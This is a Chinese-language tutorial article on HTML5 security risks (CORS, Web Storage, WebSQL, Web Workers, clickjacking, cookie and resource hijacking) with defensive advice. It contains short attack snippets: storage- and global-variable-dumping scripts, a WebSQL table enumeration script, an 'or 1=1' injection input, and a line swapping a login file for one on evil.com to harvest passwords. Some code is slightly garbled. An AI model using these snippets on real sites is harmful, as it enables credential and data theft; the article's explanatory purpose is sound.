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HTML5的安全風險詳析
關(guān)于HTML5存在的安全風險你了解多少?下面YJBYS小編為大家詳細解析一下HTML5的安全風險!希望對大家有所幫助!
一、CORS攻擊
CORS-CrossOrigin Resources Sharing，也即跨源資源共享，它定義了一種瀏覽器和服務(wù)器交互的方式來確定是否允許跨域請求。它是一個妥協(xié)，有更大的靈活性，但比起簡單地允許所有這些的要求來說更加安全。簡言之，CORS就是為了讓AJAX可以實現(xiàn)可控的跨域訪問而生的。
一、從SOP到CORS
SOP就是Same Origin Policy同源策略，指一個域的文檔或腳本，不能獲取或修改另一個域的文檔的屬性。也就是Ajax不能跨域訪問，我們之前的Web資源訪問的根本策略都是建立在SOP上的。它導(dǎo)致很多web開發(fā)者很痛苦，后來搞出很多跨域方案，比如JSONP和flash socket。如下圖所示：
后來出現(xiàn)了CORS-CrossOrigin Resources Sharing，也即跨源資源共享，它定義了一種瀏覽器和服務(wù)器交互的方式來確定是否允許跨域請求。它是一個妥協(xié)，有更大的靈活性，但比起簡單地允許所有這些的要求來說更加安全。簡言之，CORS就是為了讓AJAX可以實現(xiàn)可控的跨域訪問而生的。示意如下圖所示：
現(xiàn)在W3C的官方文檔目前還是工作草案，但是正在朝著W3C推薦的方向前進。不過目前許多現(xiàn)代瀏覽器都提供了對它的支持。
服務(wù)器端對于CORS的支持，主要就是通過設(shè)置Access-Control-Allow-Origin來進行的。如果瀏覽器檢測到相應(yīng)的設(shè)置，就可以允許Ajax進行跨域的訪問。例如：
Access–Control-Allow-Origin
應(yīng)用CORS的系統(tǒng)目前包括Face.com、GoogleCloudStorage API等，主要是為開放平臺向第三方提供訪問的能力。
二、CORS帶來的風險
CORS非常有用，可以共享許多內(nèi)容，不過這里存在風險。因為它完全是一個盲目的協(xié)議，只是通過HTTP頭來控制。
它的風險包括：
1、HTTP頭只能說明請求來自一個特定的域，但是并不能保證這個事實。因為HTTP頭可以被偽造。
所以未經(jīng)身份驗證的跨域請求應(yīng)該永遠不會被信任。如果一些重要的功能需要暴露或者返回敏感信息，應(yīng)該需要驗證Session ID。
2、第三方有可能被入侵
舉一個場景，F(xiàn)riendFeed通過跨域請求訪問Twitter，F(xiàn)riendFeed請求tweets、提交tweets并且執(zhí)行一些用戶操作，Twitter提供響應(yīng)。兩者都互相相信對方，所以FriendFeed并不驗證獲取數(shù)據(jù)的有效性，Twitter也針對Twitter開放了大部分的功能。
但是當如果Twitter被入侵后：
FriendFeed總是從Twitter獲取數(shù)據(jù)，沒有經(jīng)過編碼或者驗證就在頁面上顯示這些信息。但是Twitter被入侵后，這些數(shù)據(jù)就可能是有害的。
或者FriendFeed被入侵時：
Twitter響應(yīng)FriendFeed的請求，例如發(fā)表Tweets、更換用戶名甚至刪除賬戶。當FriendFeed被入侵后，攻擊者可以利用這些請求來篡改用戶數(shù)據(jù)。
所以對于請求方來說驗證接收的數(shù)據(jù)有效性和服務(wù)方僅暴露最少最必須的功能是非常重要的。
3、惡意跨域請求
即便頁面只允許來自某個信任網(wǎng)站的請求，但是它也會收到大量來自其他域的跨域請求。.這些請求有時可能會被用于執(zhí)行應(yīng)用層面的DDOS攻擊，并不應(yīng)該被應(yīng)用來處理。
例如，考慮一個搜索頁面。當通過'%'參數(shù)請求時搜索服務(wù)器會返回所有的記錄，這可能是一個計算繁重的要求。要擊垮這個網(wǎng)站，攻擊者可以利用XSS漏洞將JavaScript腳本注入某個公共論壇中，當用戶訪問這個論壇時，使用它的瀏覽器重復(fù)執(zhí)行這個到服務(wù)器的搜索請求�；蛘呒词共徊捎每缬蛘埱螅褂靡粋�目標地址包含請求參數(shù)的圖像元素也可以達到同樣的目的。如果可能的話，攻擊者甚至可以創(chuàng)建一個WebWorker執(zhí)行這種攻擊。這會消耗服務(wù)器大量的資源。
有效的解決辦法是通過多種條件屏蔽掉非法的請求，例如HTTP頭、參數(shù)等。
4、內(nèi)部信息泄漏
假定一個內(nèi)部站點開啟了CORS，如果內(nèi)部網(wǎng)絡(luò)的用戶訪問了惡意網(wǎng)站，惡意網(wǎng)站可以通過COR(跨域請求)來獲取到內(nèi)部站點的內(nèi)容。
5、針對用戶的攻擊
上面都是針對服務(wù)器的攻擊，風險5則針對用戶。比方說，攻擊者已經(jīng)確定了你可以全域訪問的productsearch.php頁面上存在SQL注入漏洞。 攻擊者并不是直接從它們的系統(tǒng)數(shù)據(jù)庫中獲取數(shù)據(jù)，他們可能會編寫一個JavaScript數(shù)據(jù)采集腳本，并在自己的網(wǎng)站或者存在XSS問題的網(wǎng)站上插入這段腳本。當受害者訪問含有這種惡意JavaScript腳本的網(wǎng)站時，它的瀏覽器將執(zhí)行針對“productsearch.php”的SQL注入攻擊，采集所有的數(shù)據(jù)并發(fā)送給攻擊者。檢查服務(wù)器日志顯示是受害人執(zhí)行了攻擊，因為除了來自Referrer的HTTP頭一般沒有其他日志記錄。受害者并不能說他的系統(tǒng)被攻破，因為沒有任何任何惡意軟件或系統(tǒng)泄漏的痕跡。
三、攻擊工具
四、防御之道
1、不信任未經(jīng)身份驗證的跨域請求，應(yīng)該首先驗證Session ID或者Cookie。
2、對于請求方來說驗證接收的數(shù)據(jù)有效性，服務(wù)方僅暴露最少最必須的功能。
3、通過多種條件屏蔽掉非法的請求，例如HTTP頭、參數(shù)等。
二、Web Storage攻擊
HTML5支持WebStorage，開發(fā)者可以為應(yīng)用創(chuàng)建本地存儲，存儲一些有用的信息。例如LocalStorage可以長期存儲，而且存放空間很大，一般是5M，極大的解決了之前只能用Cookie來存儲數(shù)據(jù)的容量小、存取不便、容易被清除的問題。這個功能為客戶端提供了極大的靈活性。
一、WebStorage簡介
HTML5支持WebStorage，開發(fā)者可以為應(yīng)用創(chuàng)建本地存儲，存儲一些有用的信息。例如LocalStorage可以長期存儲，而且存放空間很大，一般是5M，極大的解決了之前只能用Cookie來存儲數(shù)據(jù)的容量小、存取不便、容易被清除的問題。這個功能為客戶端提供了極大的靈活性。
二、攻擊方式
LocalStorage的API都是通過JavaScript提供的，這樣攻擊者可以通過XSS攻擊竊取信息，例如用戶token或者資料。攻擊者可以用下面的腳本遍歷本地存儲。
if(localStorage.length){
for(I in localStorage) {
console.log(i);
console.log(localStorage.getItem(i));
}
}
同時要提一句，LocalStorage并不是唯一暴露本地信息的方式。我們現(xiàn)在很多開發(fā)者有一個不好的習(xí)慣，為了方便，把很多關(guān)鍵信息放在全局變量里，例如用戶名、密碼、郵箱等等。數(shù)據(jù)不放在合適的作用域里會帶來嚴重的安全問題，例如我們可以用下面的腳本遍歷全局變量來獲取信息。
for(iin window) {
obj=window[i];
if(obj!=null||obj!=undefined)
var type =typeof(obj);
if(type=="object"||type=="string") {
console.log(“Name:”+i);
try {
my = JSON.stringify(obj);
console.log(my);
} catch(ex) {}
}
}
三、攻擊工具
HTML5dump的定義是“JavaScriptthat dump all HTML5 local storage”，它也能輸出HTML5 SessionStorage、全局變量、LocalStorage和本地數(shù)據(jù)庫存儲。
Shell of the Future是一個反向WebShell處理器，它利用HTML5的跨站請求來劫持會話。
四、防御之道
對于WebStorage攻擊的防御措施是：
1、數(shù)據(jù)放在合適的作用域里
例如用戶sessionID就不要用LocalStorage存儲，而需要放在sessionStorage里。而用戶數(shù)據(jù)不要儲存在全局變量里，而應(yīng)該放在臨時變量或者局部變量里。
2、不要存儲敏感的信息
因為我們總也無法知道頁面上是否會存在一些安全性的問題，一定不要將重要的數(shù)據(jù)存儲在WebStorage里。
三、WebSQL攻擊
數(shù)據(jù)庫安全一直是后端人員廣泛關(guān)注和需要預(yù)防的問題。但是自從HTML5引入本地數(shù)據(jù)庫和WebSQL之后，前端開發(fā)對于數(shù)據(jù)庫的安全也必須要有所了解和警惕。WebSQL的安全問題通常表現(xiàn)為兩個部分。
一、WebSQL安全風險簡介
數(shù)據(jù)庫安全一直是后端人員廣泛關(guān)注和需要預(yù)防的問題。但是自從HTML5引入本地數(shù)據(jù)庫和WebSQL之后，前端開發(fā)對于數(shù)據(jù)庫的安全也必須要有所了解和警惕。WebSQL的安全問題通常表現(xiàn)為兩個部分：
第一種是SQL注入：和本地數(shù)據(jù)庫一樣，攻擊者可以通過SQL注入點來進行數(shù)據(jù)庫攻擊。
另外一方面，如果Web App有XSS漏洞，那么本地數(shù)據(jù)很容易泄漏，可以想想本地數(shù)據(jù)庫里存儲了用戶最近交易記錄或者私信的情況。
二、WebSQL安全風險詳析
1、SQL注入
例如我們有一個URL為http:/blog.csdn.net/hfahe?id=1，它接收了一個id參數(shù)來進行本地數(shù)據(jù)庫查詢并輸出，對應(yīng)的SQL語句為“select name from user where id = 1”。
但是針對這個簡單的SQL查詢，攻擊者可以構(gòu)造一個虛假的輸入數(shù)據(jù)“1 or 1 = 1”，那么我們的SQL語句將變?yōu)?ldquo;select name from user where id = 1 or 1 = 1”。這就相當糟糕了，因為1=1這個條件總是成立的，那么這條語句將遍歷數(shù)據(jù)庫user表里的所有記錄并進行輸出。
利用這種方式，攻擊者可以構(gòu)造多種攻擊的SQL語句，來操縱用戶的本地數(shù)據(jù)庫記錄。
2、XSS與數(shù)據(jù)庫操縱
在有XSS漏洞的情況下，攻擊者獲取本地數(shù)據(jù)需要如下幾個步驟：
1)獲取JavaScript數(shù)據(jù)庫對象
2)獲取SQLite上的表結(jié)構(gòu)
3)獲取數(shù)據(jù)表名
4)操作數(shù)據(jù)
例如如下腳本完整的實現(xiàn)了上面的步驟，我在Chrome控制臺里運行即可得到用戶本地數(shù)據(jù)庫的表名，利用這個表名攻擊者可以用任何SQL語句來完成攻擊。
var dbo;
var table;
var usertable;
for(i in window) {
obj = window[i];
try {
if(obj.constructor.name=="Database"){
dbo = obj;
obj.transaction(function(tx){
tx.executeSql('SELECT name FROM sqlite_master WHERE type=\'table\'', [], function(tx,results) {
table = results;
},null);
});
}
} catch(ex) {}
}
if(table.rows.length > 1)
usertable = table.rows.item(1).name;
三、防御之道
針對WebSQL攻擊，我們有如下方法預(yù)防：
1) 檢查輸入類型，過濾危險字符
我們需要保證輸入類型符合預(yù)期，例如上面的id參數(shù)一定是數(shù)字類型;同時過濾掉危險的關(guān)鍵字和符號，像PHP里addslashes這個函數(shù)的作用一樣。
2) 在SQL語句中使用參數(shù)形式
SQL語句是可以用參數(shù)形式的，例如
executeSql("SELECTname FROM stud WHERE id=" + input_id)
這種字符串拼接的形式并不安全，可以換為
executeSql("SELECTname FROM stud WHERE id=?“, [input_id]);)
這樣能保證參數(shù)的輸入符合設(shè)定的類型。
3)謹慎對待每一次SQL操作
無論是select、modify、update或者delete，你編寫的任何一條SQL語句操作都有可能成為攻擊者的攻擊對象，造成重大損失，所以都必須要謹慎對待。
4)不要存儲重要數(shù)據(jù)
本地數(shù)據(jù)庫永遠透明而不安全，重要的數(shù)據(jù)必須要存儲在服務(wù)器上，本地數(shù)據(jù)庫里沒有重要數(shù)據(jù)就不會對用戶造成重大損失。
5)杜絕XSS漏洞
XSS攻擊的防御將會在專門章節(jié)闡述，本文不展開詳析。
四、Web Worker攻擊
由于JavaScript是單線程執(zhí)行的，在執(zhí)行過程中瀏覽器不能執(zhí)行其它JavaScript腳本，UI渲染線程也會被掛起，從而導(dǎo)致瀏覽器進入僵死狀態(tài)。使用WebWorker可以將計算過程放入一個新線程里去執(zhí)行將避免這種情況的出現(xiàn)。
一、WebWorker介紹
由于JavaScript是單線程執(zhí)行的，在執(zhí)行過程中瀏覽器不能執(zhí)行其它JavaScript腳本，UI渲染線程也會被掛起，從而導(dǎo)致瀏覽器進入僵死狀態(tài)。使用WebWorker可以將計算過程放入一個新線程里去執(zhí)行將避免這種情況的出現(xiàn)。這樣我們可以同時執(zhí)行多個JS任務(wù)而不會阻塞瀏覽器，非常適合異步交互和大規(guī)模計算，這在以前是很難做到的。
下面一張圖形象的揭示了WebWorker的作用：沒有WebWorker時，如果我們要煎一個雞蛋餅，需要先和面粉，然后打雞蛋，最后才能煎餅;使用WebWorker，可以在和面粉的同時打雞蛋，這兩者同時進行，都完成后就能開始煎餅，極大的縮短了等待的時間。
但是這樣一個好的特性也會引入攻擊的可能。
二、WebWorker攻擊
1、Botnet
攻擊的方式包括DDos攻擊、發(fā)送垃圾郵件，用戶一旦訪問惡意頁面或者網(wǎng)站時，頁面的惡意代碼就能把用戶的瀏覽器當作肉雞，利用WebWorker大規(guī)模執(zhí)行多線程攻擊，例如DDos攻擊、發(fā)送垃圾郵件或者進行網(wǎng)絡(luò)嗅探。
DDOS攻擊(分布式拒絕服務(wù)攻擊)
2、postMessage帶來的問題
WebWorker無法訪問DOM，只能通過postMessageAPI和主線程通信。postMessage在HTML5中被引入，用來解決跨域或者跨線程數(shù)據(jù)交互的問題。但是如果messaging可以接收任何來源的信息，此頁面有可能會被攻擊;另外postMessage不通過服務(wù)器，如果不經(jīng)過驗證和過濾，可能成為XSS注入點。例如如下代碼沒有對輸入數(shù)據(jù)進行驗證和清洗，攻擊者完全可以構(gòu)造惡意的data來注入頁面DOM，構(gòu)造XSS攻擊，形如“>”等等。
worker.addEventListener(‘message’,function(e) {
document.getElementById(‘result’).innerHTML = e.data;
}, false);
三、攻擊工具
Ravan是一個JS的分布式計算系統(tǒng)，可以用HTML5Web Worker通過后臺加密的JS多線程腳本來執(zhí)行蠻力攻擊。
四、預(yù)防之道
1、對于用戶來說，不要訪問不安全的站點。
2、使用postMessage時需要驗證來源可信;另外不要使用innerHTML，現(xiàn)代瀏覽器提供了textContent屬性，可以幫助對HTML標簽進行過濾，或者你可以自行編寫過濾的邏輯和函數(shù)。
五、劫持攻擊
下面我們要講到一類的HTML5安全問題，也就是劫持的問題。
一、ClickJacking-點擊劫持
這種攻擊方式正變得越來越普遍。被攻擊的頁面作為iframe，用Mask的方式設(shè)置為透明放在上層，惡意代碼偷偷地放在后面的頁面中，使得一個頁面看起來似乎是安全的，然后誘騙用戶點擊網(wǎng)頁上的內(nèi)容，達到竊取用戶信息或者劫持用戶操作的目的。下圖中，欺詐的頁面放置在下層，被攻擊的銀行頁面作為透明的層放置在上層，用戶看到的是欺詐頁面上顯示的信息并進行輸入和點擊，但是真正的用戶行為是發(fā)生在銀行頁面上的。
想象一下，點擊劫持可以誘使你發(fā)布一條虛假微博、或者發(fā)送一封虛假郵件甚至盜取你的個人信息。例如下圖可以誘使我們發(fā)布一條虛假的Twitter消息。
這里有一個測試工具clickjacktest可以檢測你的頁面是否有點擊劫持的風險，你可以輸入一個網(wǎng)址并點擊Test，如果頁面可以正常顯示并加載，那么表示這個頁面存在被點擊劫持攻擊的風險，如果頁面顯示為一片空白，那么表示頁面比較安全。
二、CookieJacking-Cookie劫持
ClickJacking只涉及點擊操作，但是HTML5的拖放API使得這種攻擊擴大到拖放操作。因為現(xiàn)在Web應(yīng)用里，有大量需要用戶拖放完成的操作。在同源策略里，一個域的Cookie只能被本域所訪問，但是拖放操作是不受同源策略限制的，這樣利用拖放操作、XSS和其他技巧，可以構(gòu)造跨域合法請求，劫持Cookie。
實現(xiàn)原理其實和ClickJacking類似，只要欺騙用戶進行拖放行為，就可以把用戶某個域的信息發(fā)送到另外一個域里。這個其實很容易做到，之前有一個研究者就在Facebook上建立了一個應(yīng)用，這個應(yīng)用的功能是讓用戶把圖片上美女的衣服拖拽下來。我想可能大多數(shù)人都會去嘗試而且不會有警惕心理。
我們應(yīng)當如何防止ClickJacking、CookieJacking呢?
1、X-Frame-Options：所有的現(xiàn)代瀏覽器都支持X-Frame-Options HTTP頭，這個頭允許頁面被iframe使用時是否正常渲染。下圖中的頁面就是當X-Frame-Options生效時的效果。
2、JavaScript方式
這種方式非常常見，具體代碼就是：
if (top !==window)
top.location = window.location.href;
Facebook和Twitter都使用了這種方式，但是這種方式并不是完全奏效的，例如攻擊者可以使用204轉(zhuǎn)向或者禁用JavaScript的方式來繞過(例如iframe沙箱)。
不過現(xiàn)在至少80%以上的網(wǎng)站都沒有注意到點擊劫持和cookie劫持的問題并加以保護。我這篇文章的主要目的就是提醒大家注意到這種隱蔽的攻擊方式并有針對性的進行防御。
三、CORJacking-跨域資源劫持
CORJacking是指跨源資源劫持。HTML5應(yīng)用有各種不同的資源，例如Flash文件，Silverligh，視頻，音頻等，這些資源可以通過DOM訪問和控制。如果頁面存在XSS漏洞，那么攻擊者可能通過跨域資源的劫持進行攻擊。例如下面的代碼載入了一個swf文件，作為用戶登錄框，這里面我們可以實現(xiàn)一些加密的邏輯。
當頁面存在XSS漏洞時，攻擊者可以利用如下腳本把swf文件替換為欺詐的虛假資源。
document.getElementByName(‘Login’).item(0).src=‘http://evil.com/login.swf’;
那么當用戶在這樣的登錄框里輸入自己的用戶名和密碼并登錄時，他的帳號就已經(jīng)被盜取了。
這個問題在不同瀏覽器里面表現(xiàn)是不一致的，有興趣的朋友可以下去自行測試。
完結(jié)篇：HTML5對安全的改進
HTML5對舊有的安全策略進行了非常多的補充。HTML5為iframe元素增加了sandbox屬性防止不信任的Web頁面執(zhí)行某些操作，例如訪問父頁面的DOM、執(zhí)行腳本、訪問本地存儲或者本地數(shù)據(jù)庫等等。
HTML5對舊有的安全策略進行了非常多的補充。
一、iframe沙箱
HTML5為iframe元素增加了sandbox屬性防止不信任的Web頁面執(zhí)行某些操作，例如訪問父頁面的DOM、執(zhí)行腳本、訪問本地存儲或者本地數(shù)據(jù)庫等等。但是這個安全策略又會帶來另外的風險，這很有趣，例如ClickJacking攻擊里阻止JavaScript腳本的運行來繞過JavaScript的防御方式。
二、CSP內(nèi)容安全策略
XSS通過虛假內(nèi)容和誘騙點擊來繞過同源策略。 XSS攻擊的核心是利用了瀏覽器無法區(qū)分腳本是被第三方注入的，還是真的是你應(yīng)用程序的一部分。CSP定義了Content-Security-Policy HTTP頭來允許你創(chuàng)建一個可信來源的白名單，使得瀏覽器只執(zhí)行和渲染來自這些來源的資源，而不是盲目信任服務(wù)器提供的所有內(nèi)容。即使攻擊者可以找到漏洞來注入腳本，但是因為來源不包含在白名單里，因此將不會被執(zhí)行。
三、XSS過濾器
Chrome、Safari這樣的現(xiàn)代瀏覽器也構(gòu)建了安全防御措施，在前端提供了XSS過濾器。例如http://test.jiangyujie.com/?text=
在Chrome中將無法得到執(zhí)行，如下圖所示。
四、其他
另外HTML5的應(yīng)用程序訪問系統(tǒng)資源比Flash更受限制。
最后，關(guān)于HTML5專門的安全規(guī)范目前還在討論中，有的人希望分散到HTML5規(guī)范的各個章節(jié)，有的人希望單獨列出，目前沒有單獨的內(nèi)容，因為不僅要考慮Web App開發(fā)者的安全，還要考慮實現(xiàn)HTML5支持的廠商，對它們進行規(guī)范和指導(dǎo)。
我個人認為HTML5的安全規(guī)范將會有一個統(tǒng)一的章節(jié)來進行闡述，并在各個功能模塊相應(yīng)的提及。
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